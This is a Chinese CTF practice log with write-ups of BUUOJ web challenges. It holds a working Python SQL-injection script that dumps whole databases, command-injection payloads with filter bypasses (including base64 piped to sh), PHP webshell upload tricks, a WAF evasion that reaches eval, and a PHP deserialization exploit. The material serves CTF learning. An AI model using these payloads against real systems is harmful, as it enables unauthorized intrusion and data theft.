BUUOJ 刷题记录9-16


[极客大挑战 2019]LoveSQL

? 先用用万能密码试试, 直接就进去了. 然后尝试

?username=1' order by 3#&password=1

? 但是咋都不行, 后来发现是因为#号传不过去, 于是换成%23(#url编码)就行. 然后尝试

username=1' order by 3%23&password=1
username=1' order by 4%23&password=1
username=1' union select 1,2,3%23&password=1

? 然后就如图, 看到了哪些列对应控制

? 接着尝试

?username=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23&password=1

(有点叠着了, 不过没关系后面脚本直接梭)

? 然后我就乐了, 这不就是sqli-lab的第一道题么, 改改之前写的脚本就一把梭, 底裤都给它注出来(东西还蛮多的, 还好我写的是二分法注入的, 不然真得跑半天)

? 下面贴贴exp(凑合看吧, 这脚本属于是能用就行)

# coding=utf-8

import requests
from urllib import parse
import sys
from bs4 import BeautifulSoup

# url = "http://www.sqlstudy.com/sqlstudy/Less-1"
url = "http://bdf1ece7-7214-451c-8f5c-8c52f83a8134.node4.buuoj.cn:81/check.php"
def CheckStatus(r_text):
    if "Hello" in r_text:
        return 1
    else:
        return 0

def PrintNameAndPswd(res_text):
    # pos_name = res_text.index("Your Login name:")
    pos_name = res_text.index("Hello ")
    pos_name_move = pos_name
    # pos_pswd = res_text.index("Your Password:", pos_name)
    pos_pswd = res_text.index("Your password is", pos_name)
    pos_pswd_move = pos_pswd
    str_name = ''
    str_pswd = ''
    while res_text[pos_name_move] != '<':
        pos_name_move += 1
    str_name = res_text[pos_name : pos_name_move]
    while res_text[pos_pswd_move] != '<':
        pos_pswd_move += 1
    str_pswd = res_text[pos_pswd : pos_pswd_move]
    # print (str_name + '\n' + str_pswd)
    # print(str_name)
    return str_name


def GetColumnsNum():
    left = 1
    right = 20
    mid = (left + right) // 2
    while left <= right:
        payload = "username=1' order by {}%23&password=1".format(mid)
        res = requests.get(url = url , params = payload)
        # print(parse.unquote(res.url))
        res_text = res.text
        if CheckStatus(res_text):
            # PrintNameAndPswd(res_text , pos_name , pos_pswd)
            left = mid + 1
        else:
            right = mid - 1
        mid = (right + left) // 2

    return mid

def HowItContrl(columnsnum):
    # Your Login name:2
    # Your Password:3
    payload = "username=-1' union select "
    for i in range(1 , columnsnum + 1):
        payload = payload + "{},".format(i)
    res = requests.get(url=url , params=payload.strip(",") + '%23&password=1')
    res_text = res.text
    if CheckStatus(res_text):
        PrintNameAndPswd(res_text)

def GetAllDatabase():
    payload = "username=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23&password=1"
    res = requests.get(url=url, params=payload)
    # print(parse.unquote(res.url))
    res_text = res.text
    # print(res_text)
    if (CheckStatus(res_text)):
        return PrintNameAndPswd(res_text)

def WhereAmI():
    payload = "username=-1' union select 1,database(),3%23&password=1"
    res = requests.get(url=url, params=payload)
    # print(parse.unquote(res.url))
    res_text = res.text
    if (CheckStatus(res_text)):
        MyPosition = PrintNameAndPswd(res_text)
        return MyPosition[MyPosition.index("Hello") + 6 : -1 ]

def GetTableName(DatabaseName):
    payload = "username=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=\"{}\"%23&password=1".format(DatabaseName)
    res = requests.get(url=url, params=payload)
    # print(parse.unquote(res.url))
    res_text = res.text
    if (CheckStatus(res_text)):
        TableName = PrintNameAndPswd(res_text)
        TableName = TableName[TableName.index("Hello") + 6 : -1].split(",")
        return TableName

def GetColumnName(TableName):
    payload = "username=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='{}' %23&password=1".format(TableName)
    res = requests.get(url=url, params=payload)
    # print(parse.unquote(res.url))
    res_text = res.text
    if (CheckStatus(res_text)):
        ColumnName = PrintNameAndPswd(res_text)
        ColumnName = ColumnName[ColumnName.index("Hello") + 6 : -1].split(",")
        return ColumnName

def GetDetails(DatabaseName , TableName , ColumnName):
    payload = "username=-1' union select 1,group_concat({}),3 from {}.{} %23&password=1".format(ColumnName , DatabaseName , TableName)
    res = requests.get(url=url, params=payload)
    # print(parse.unquote(res.url))
    res_text = res.text
    if (CheckStatus(res_text)):
        Details = PrintNameAndPswd(res_text)
        Details = Details[Details.index("Hello") + 6 : -1].split(",")
        return Details

if __name__ == "__main__" :
    with open('sqli-lab1.txt' , 'w') as f:
        columnsnum = GetColumnsNum()
        f.write("column_number = " + str(columnsnum) + '\n')
        # HowItContrl(columnsnum)
        DatabaseName = GetAllDatabase()
        DatabaseName = DatabaseName[DatabaseName.index("Hello") + 6 : -1].split(",")
        # print(DatabaseName)
        MyPosition = WhereAmI()
        f.write("You are in : " + MyPosition + '\n')
        for i in range(0,len(DatabaseName)):
            f.write("DatabaseName : " + DatabaseName[i] + '\n')
            TableName = []
            TableName = GetTableName(DatabaseName[i])
            # print(TableName)
            if 'NoneType' in str(type(TableName)):
                continue
            for j in range(0,len(TableName)):
                f.write("--TableName : " + TableName[j] + '\n')
                ColumnName = []
                ColumnName = GetColumnName(TableName[j])
                # print(ColumnName)
                if 'NoneType' in str(type(ColumnName)):
                    continue
                for k in range(0, len(ColumnName)):
                    f.write("----ColumnName : " + ColumnName[k] + '\n')
                    Details = []
                    Details = GetDetails(DatabaseName[i] , TableName[j] , ColumnName[k])
                    # print(type(Details))
                    Details_type = str(type(Details))
                    if not "NoneType" in Details_type:
                        for l in range(0,len(Details)):
                            f.write("------Details : " + Details[l] + '\n')
                            if l == len(Details) - 1:
                                f.write("\n---------------------------------------------------------------\n\n")
                    else:
                        f.write("--------Details : NULL \n")

? 所以养成收集脚本的好习惯很有必要??

[GXYCTF2019]Ping Ping Ping

? 结合题名, 想到ping

? 首先尝试/?ip=127.0.0.1;ls, 看到目录下有index.phpflag.php, 尝试cat flag.php, 发现空格被过滤.

绕过空格过滤:

${IFS}
$IFS$9			// 后面的数字换什么都无所谓
$IFS
<
<>
,
%20
%09

? 以上是常用的几种绕过空格过滤的方式, 不过这道题又过滤了一些特殊字符, 最后还是选择$IFS$9

flag过滤绕过:

? 于是使用cat$IFS$1flag.php, 理所当然的flag被过滤了, 尝试打开index.php, 看到了过滤规则

? 所以f l a g不同时出现就行, 找到三种方案

方一:

? 看到里面a是一个可控变量, 于是

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

方二:

? bash被过滤了就使用sh

?ip=1|echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

方三:

? 内联(使用反引号), 优先执行反引号内的命令, 并将执行得到的结果作为语句在外层执行

?ip=1|cat$IFS$1`ls`

PS: 有一个坑点, flag在源码中才看得到, 它不会输出出来, 当时我还找了半天

[极客大挑战 2019]Knife

? 开屏看到这个, 蚁剑一连不就梭了么

? 梭了.

[极客大挑战 2019]Http

? 随便找到之前的实例, 把后面的部分改成靶机的, 就进到第一页(也许是我前一道题做太快了?)

? 在burpsuite里面找到Secrect.php, 在浏览器里面看看

? 一眼referer

? 一眼user-agent

? 一眼xff

? 切了.

[极客大挑战 2019]Upload

? 尝试传图片马, 发现<?被滤了, 就连异或变形都得要<?, 以现有知识没法绕, 遂Google Hack

HTML中的php标记:

  1. XML风格:
<?php
    /* php代码 */
?>

? 默认开启切不可禁用

  1. 简短风格
<?
	/* php代码 */
?>

? 需要在配置文件php.ini中启用short_open_tag选项

  1. ASP风格
<%
	/* php代码 */
%>

? 需要在配置设定中启用asp_tags选项, 但在php7中不再支持

  1. SCRIPT风格
<script language="php">
    /* php代码 */
</script>

? php7中不再支持

? 尝试使用<% %>, 然后发现要检测Content-Type和文件头, 都改了之后发现php是关键字被过滤了, 根据师傅们的wp, 使用.phtml(然后不知道为啥.png传上去硬说不是图片, 换了个.jpg就能传)

? 如上图, 发现没解析上, 说明<%不行, 试试script

? 这下就行了, 连蚁剑就完了

[ACTF2020 新生赛]Upload

? 多的不说, 先试试传个常规的一句话木马, 发现php被滤了. 结合上面的, 尝试使用.phtml. 然后, 谔谔就出phpinfo了, 连蚁剑翻目录, 梭! (回头看了看题目, 原来是新生赛的, 怪不得这么简单)

[RoarCTF 2019]Easy Calc

? 一眼注入, 先fuzz一手, 好像没获得什么有用的

? 看源码里面有这么一段


<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`
答案:${data}
`); }, error:function(){ alert("这啥?算不来!"); } }) return false; }) </script>

? 一看data是个可控变量, 就考虑怎么注入了, 然后又发现一个calc.php, 进去看到源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

? 最后一句令人兴奋, $str是可控变量, 又有eval, 那不是直接可以命令执行了? 但是想要绕过, 就得了解一些php字符串的特性

php中字符串的特性

? 引用一下某位师傅的解释:

查询字符串在解析的过程中会将某些字符删除或用下划线代替. 例如, /?%20news[id%00=42会转换为Array([news_id] => 42). 如果一个IDS/IPSWAF中有一条规则是当news_id参数的值是一个非数字的值则拦截, 那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42"+AND+1=0--

上述PHP语句的参数%20news[id%00的值将存储到$_GET["news_id"]中.

PHP需要将所有参数转换为有效的变量名, 因此在解析查询字符串时, 它会做两件事:

  1. 删除空白符

  2. 将某些字符转换为下划线(包括空格)

? 简单来说, 就是在waf时, %20num != num, 但php预处理后会将"%20"(即空格)删掉, 此时就变成了num进入php语句中执行. 我们可以利用这一点进行绕过, 即传参时用?%20num=

? 有图为证

? 然后使用var_dumpscandir两个函数, /ASCII码为47, scandir(/)即扫描根目录, 得到如图

? 发现有一个f1agg, 同样的思路, 都需要用chr().进行拼接

? scandir(/f1agg)发现未成功, 说明它不是一个目录, 是一个文件, 则用file_get_contents读取就行了(记录一个坑的, 原来f后面是1不是l, 我就说咋读不出来)

[极客大挑战 2019]PHP (系统的学一下反序列化)

?

? 先下载一下www.zip(猜的, 正常思路可能要用dirsearch扫一下), 里面有index.php class.php 和虚假的 flag.php

? index.php内容如下



  
  I have a cat!
  
      



因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
不愧是我!!!
<?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?>

Syclover @ cl4y

<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script> <script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script> <script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script> <script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script> <script src="index.js"></script>

? 看到有一个include 'class.php', 那就看看class.php的内容吧

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "
NO!!!hacker!!!
"; echo "You name is: "; echo $this->username;echo "
"; echo "You password is: "; echo $this->password;echo "
"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "
hello my friend~~
sorry i can't give you the flag!"; die(); } } } ?>

? 很明显的一道反序列化的题, 要令username = admin password = 100, 谔谔但我之前也就看过理论知识还没打过这种题, 所以就只有看看师傅们的wp复现一下了, 顺便记录一下做反序列化的题的一般思路和步骤

解题步骤

构造序列化

? 首先创建目标序列

<?php
class Name
{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}

$a = new Name('admin' , 100);

var_dump(serialize($a));

?>

? 输出:

string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"

? 这就是我们的目标序列

绕过__wakeup()

? 由于__wakeup()会将我们的序列重新赋值, 所以必须要绕过它. 一个很简单的绕过方法就是当序列中元素的个数大于实际个数时就会被绕过. 则可以将"Name"后面的2改成比它大的任一数, 即

string(77) "O:4:"Name":5:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"

? 此外, 由于该序列为private属性, 需要在类名和字段名前加上%00(%00为一个字符, 所以只算一个长度), 不过数字不用改, 因为在输出的时候已经统计进去了, 只是未打印出来, 改为

string(77) "O:4:"Name":5:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}"

payload:

?select=O:4:"Name":5:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

? ps: 我又变成瞎子了, 把select打成了secret, 我就说怎么我的payload一直出不了flag??

CTF